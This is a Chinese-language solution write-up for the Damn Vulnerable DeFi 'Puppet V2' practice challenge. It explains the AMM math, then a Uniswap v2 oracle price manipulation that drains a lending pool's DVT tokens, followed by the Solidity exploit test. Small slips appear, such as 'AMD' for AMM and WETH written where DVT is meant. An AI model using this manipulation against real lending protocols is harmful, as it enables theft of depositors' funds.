Damn-vulnerable-defi-V4-solution(Puppet V2)
一、Puppet V2
Uniswap v1 和 v2 之间的区别:
Uniswap v1 交易对仅允许将一种代币兑换成 ETH。因此,要将一种代币兑换成另一种代币,必须执行两个步骤:代币 0 -> ETH -> 代币 1。Uniswap v2 允许直接兑换任意代币对。Uniswap v2 在交换功能中启用了闪电贷,因为它首先转出代币,然后在交易结束时要求偿还。
背景:
我们有一个支持 Uniswap v2 的交易池。池子初始持有 100e18 DVT 代币和 10e18 WETH。我们还有一个借贷池,允许我们借入 DVT 代币,前提是我们提供价值相当于 WETH 价值 3 倍的抵押品。对于借贷池来说,WETH 和 DVT 的价值取决于交易池中 DVT 和 WETH 剩余数量的比率。
玩家初始拥有 20e18 ETH 和 10,000 DVT 代币。Uniswap v2 是一个自动做市商 (AMD),其公式为 x × y = k,其中 k 为常数,x 为 token0 的数量,y 为 token1 的数量。如果我们想将 dx 数量的 token0 兑换为 token1,兑换后我们必须:
$$ (x + dx) × (y - dy) = k $$
我们获得的token1数量等于:
$$ y - k / (x + dx) = k / x - k / (x + dx) = dx × y / (x + dx) $$
如果我们将 p = y / x 视为 token0 的价格(即它可以兑换的 token1 的数量),那么上面的公式表明,当 dx 较小时,我们获得的 token1 数量约为 p × dx,这是合理的。但是,如果 dx 相对于 x 非常大,那么价格就会受到显著影响,上述近似不再成立。
攻击思路:
是将我们的 DVT 兑换成 WETH,从而抬高 WETH 的价格,并误导借贷池中的预言机(使其认为 1 ETH 可以兑换许多 DVT)。然后,我们只需少量 WETH 作为抵押,即可借到所有 DVT 代币。
根据上述计算,如果我们尝试将 10_000e18 兑换成 WETH,池中剩余的 WETH 为 100e18 × 10e18 / (100e18 + 10_000e18),约为 0.099e18。因此,我们获得的 WETH 数量超过 9.9e18。将我们拥有的 20e18 ETH 存入 WETH 中,我们将获得超过 29.9e18 的 WETH。
现在价格是多少?我们有 10,100e18 DVT 和大约 10/101e18 WETH。价格约为 102,010,相当于 1WETH 可以换102,010DVT。所以:
需要29.9e18 × 102,010 = 3.05e24 个 WETH 然而我们需要借入1e24 个 DVT,不到这个我们 WETH 总价值的三分之一,所以WETH抵押品是足够的。
function test_puppetV2() public checkSolvedByPlayer {
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens({
amountIn: PLAYER_INITIAL_TOKEN_BALANCE,
amountOutMin: 0,
path: path,
to: player,
deadline: block.timestamp
});
weth.deposit{value: PLAYER_INITIAL_ETH_BALANCE}();
weth.approve(address(lendingPool), 299e17);
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
}